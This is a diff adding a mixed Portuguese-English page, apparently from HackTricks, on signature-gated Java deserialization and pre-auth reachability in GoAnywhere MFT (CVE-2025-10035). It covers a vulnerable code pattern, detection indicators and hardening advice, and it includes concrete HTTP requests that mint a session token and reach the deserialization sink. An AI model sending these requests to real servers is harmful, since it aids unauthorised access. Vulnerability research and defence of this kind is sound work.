- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
|
||||
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
|
||||
- Trail of Bits – Auditando RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
|
||||
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,140 @@
|
||||
# Java SignedObject-gated Deserialization and Pre-auth Reachability via Error Paths
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Esta página documenta um padrão comum de desserialização Java "guardado" construído em torno de java.security.SignedObject e como sinks aparentemente inacessíveis podem tornar-se alcançáveis pré-auth via fluxos de tratamento de erro. A técnica foi observada no Fortra GoAnywhere MFT (CVE-2025-10035), mas é aplicável a designs similares.
|
||||
|
||||
## Threat model
|
||||
|
||||
- Um atacante pode alcançar um endpoint HTTP que eventualmente processa um byte[] fornecido pelo atacante, destinado a ser um SignedObject serializado.
|
||||
- O código usa um wrapper de validação (por exemplo, Apache Commons IO ValidatingObjectInputStream ou um adaptador customizado) para restringir o tipo mais externo a SignedObject (ou byte[]).
|
||||
- O objeto interno retornado por SignedObject.getObject() é onde cadeias de gadgets podem ser acionadas (por exemplo, CommonsBeanutils1), mas somente após um gate de verificação de assinatura.
|
||||
|
||||
## Typical vulnerable pattern
|
||||
|
||||
Um exemplo simplificado baseado em com.linoma.license.gen2.BundleWorker.verify:
|
||||
```java
|
||||
private static byte[] verify(byte[] payload, KeyConfig keyCfg) throws Exception {
|
||||
String sigAlg = "SHA1withDSA";
|
||||
if ("2".equals(keyCfg.getVersion())) {
|
||||
sigAlg = "SHA512withRSA"; // key version controls algorithm
|
||||
}
|
||||
PublicKey pub = getPublicKey(keyCfg);
|
||||
Signature sig = Signature.getInstance(sigAlg);
|
||||
|
||||
// 1) Outer, "guarded" deserialization restricted to SignedObject
|
||||
SignedObject so = (SignedObject) JavaSerializationUtilities.deserialize(
|
||||
payload, SignedObject.class, new Class[]{ byte[].class });
|
||||
|
||||
if (keyCfg.isServer()) {
|
||||
// Hardened server path
|
||||
return ((SignedContainer) JavaSerializationUtilities.deserializeUntrustedSignedObject(
|
||||
so, SignedContainer.class, new Class[]{ byte[].class }
|
||||
)).getData();
|
||||
} else {
|
||||
// 2) Signature check using a baked-in public key
|
||||
if (!so.verify(pub, sig)) {
|
||||
throw new IOException("Unable to verify signature!");
|
||||
}
|
||||
// 3) Inner object deserialization (potential gadget execution)
|
||||
SignedContainer inner = (SignedContainer) so.getObject();
|
||||
return inner.getData();
|
||||
}
|
||||
}
|
||||
```
|
||||
Key observations:
|
||||
- The validating deserializer at (1) blocks arbitrary top-level gadget classes; only SignedObject (or raw byte[]) is accepted.
|
||||
- The RCE primitive would be in the inner object materialized by SignedObject.getObject() at (3).
|
||||
- A signature gate at (2) enforces that the SignedObject must verify against a product-baked public key. Unless the attacker can produce a valid signature, the inner gadget never deserializes.
|
||||
|
||||
## Considerações de exploração
|
||||
|
||||
Para atingir execução de código, um atacante deve entregar um SignedObject corretamente assinado que envolva um malicious gadget chain como seu objeto interno. Isso geralmente requer uma das seguintes opções:
|
||||
|
||||
- Comprometimento da chave privada: obter a chave privada correspondente usada pelo produto para assinar/verificar objetos de licença.
|
||||
- Signing oracle: coagir o fornecedor ou um serviço de signing confiável a assinar conteúdo serializado controlado pelo atacante (por exemplo, se um license server assina um objeto arbitrário embutido a partir da entrada do cliente).
|
||||
- Caminho alternativo alcançável: encontrar um caminho no lado servidor que desserialize o objeto interno sem aplicar verify(), ou que pule verificações de assinatura sob um modo específico.
|
||||
|
||||
Na ausência de uma dessas, a verificação de assinatura impedirá a exploração apesar da presença de um deserialization sink.
|
||||
|
||||
## Acessibilidade pré-auth via fluxos de tratamento de erro
|
||||
|
||||
Mesmo quando um endpoint de deserialização parece exigir autenticação ou um token vinculado à sessão, o código de tratamento de erro pode inadvertidamente gerar e anexar o token a uma sessão não autenticada.
|
||||
|
||||
Example reachability chain (GoAnywhere MFT):
|
||||
- Target servlet: /goanywhere/lic/accept/<GUID> requires a session-bound license request token.
|
||||
- Error path: hitting /goanywhere/license/Unlicensed.xhtml with trailing junk and invalid JSF state triggers AdminErrorHandlerServlet, which does:
|
||||
- SessionUtilities.generateLicenseRequestToken(session)
|
||||
- Redirects to vendor license server with a signed license request in bundle=<...>
|
||||
- The bundle can be decrypted offline (hard-coded keys) to recover the GUID. Keep the same session cookie and POST to /goanywhere/lic/accept/<GUID> with attacker-controlled bundle bytes, reaching the SignedObject sink pre-auth.
|
||||
|
||||
Proof-of-reachability (impact-less) probe:
|
||||
```http
|
||||
GET /goanywhere/license/Unlicensed.xhtml/x?javax.faces.ViewState=x&GARequestAction=activate HTTP/1.1
|
||||
Host: <target>
|
||||
```
|
||||
- Não corrigido: 302 Location header to https://my.goanywhere.com/lic/request?bundle=... and Set-Cookie: ASESSIONID=...
|
||||
- Corrigido: redirecionamento sem bundle (sem geração de token).
|
||||
|
||||
## Blue-team detection
|
||||
|
||||
Indicadores em stack traces/logs sugerem fortemente tentativas de atingir um SignedObject-gated sink:
|
||||
```
|
||||
java.io.ObjectInputStream.readObject
|
||||
java.security.SignedObject.getObject
|
||||
com.linoma.license.gen2.BundleWorker.verify
|
||||
com.linoma.license.gen2.BundleWorker.unbundle
|
||||
com.linoma.license.gen2.LicenseController.getResponse
|
||||
com.linoma.license.gen2.LicenseAPI.getResponse
|
||||
com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost
|
||||
```
|
||||
## Diretrizes de hardening
|
||||
|
||||
- Mantenha a verificação de assinatura antes de qualquer chamada getObject() e assegure que a verificação use a chave pública/algoritmo pretendidos.
|
||||
- Substitua chamadas diretas a SignedObject.getObject() por um wrapper endurecido que reaplica filtragem ao fluxo interno (por exemplo, deserializeUntrustedSignedObject usando ValidatingObjectInputStream/ObjectInputFilter allow-lists).
|
||||
- Remova fluxos de tratamento de erro que emitam session-bound tokens para usuários não autenticados. Trate caminhos de erro como superfície de ataque.
|
||||
- Prefira Java serialization filters (JEP 290) com allow-lists estritas tanto para a desserialização externa quanto para a interna. Exemplo:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
Class<?> c = info.serialClass();
|
||||
if (c == null) return ObjectInputFilter.Status.UNDECIDED;
|
||||
if (c == java.security.SignedObject.class || c == byte[].class) return ObjectInputFilter.Status.ALLOWED;
|
||||
return ObjectInputFilter.Status.REJECTED; // outer layer
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
// For the inner object, apply a separate strict DTO allow-list
|
||||
```
|
||||
## Recapitulação da cadeia de ataque de exemplo (CVE-2025-10035)
|
||||
|
||||
1) Pre-auth token minting via error handler:
|
||||
```http
|
||||
GET /goanywhere/license/Unlicensed.xhtml/watchTowr?javax.faces.ViewState=watchTowr&GARequestAction=activate
|
||||
```
|
||||
Receba 302 com bundle=... e ASESSIONID=...; descriptografe o bundle offline para recuperar o GUID.
|
||||
|
||||
2) Alcance o sink pre-auth com o mesmo cookie:
|
||||
```http
|
||||
POST /goanywhere/lic/accept/<GUID> HTTP/1.1
|
||||
Cookie: ASESSIONID=<value>
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
bundle=<attacker-controlled-bytes>
|
||||
```
|
||||
3) RCE requer um SignedObject corretamente assinado encapsulando uma gadget chain. Pesquisadores não conseguiram contornar a verificação de assinatura; a exploração depende do acesso a uma private key correspondente ou a um signing oracle.
|
||||
|
||||
## Versões corrigidas e mudanças de comportamento
|
||||
|
||||
- GoAnywhere MFT 7.8.4 and Sustain Release 7.6.3:
|
||||
- Harden inner deserialization by replacing SignedObject.getObject() with a wrapper (deserializeUntrustedSignedObject).
|
||||
- Remover a geração de token do error-handler, encerrando a pre-auth reachability.
|
||||
|
||||
## Observações sobre JSF/ViewState
|
||||
|
||||
A técnica de reachability explora uma página JSF (.xhtml) e um javax.faces.ViewState inválido para direcionar para um error handler privilegiado. Embora não seja um problema de deserialização do JSF, é um padrão recorrente de pre-auth: invadir error handlers que executam ações privilegiadas e definem atributos de sessão relevantes para a segurança.
|
||||
|
||||
## References
|
||||
|
||||
- [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/)
|
||||
- [Fortra advisory FI-2025-012 – Deserialization Vulnerability in GoAnywhere MFT's License Servlet](https://www.fortra.com/security/advisories/product-security/fi-2025-012)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user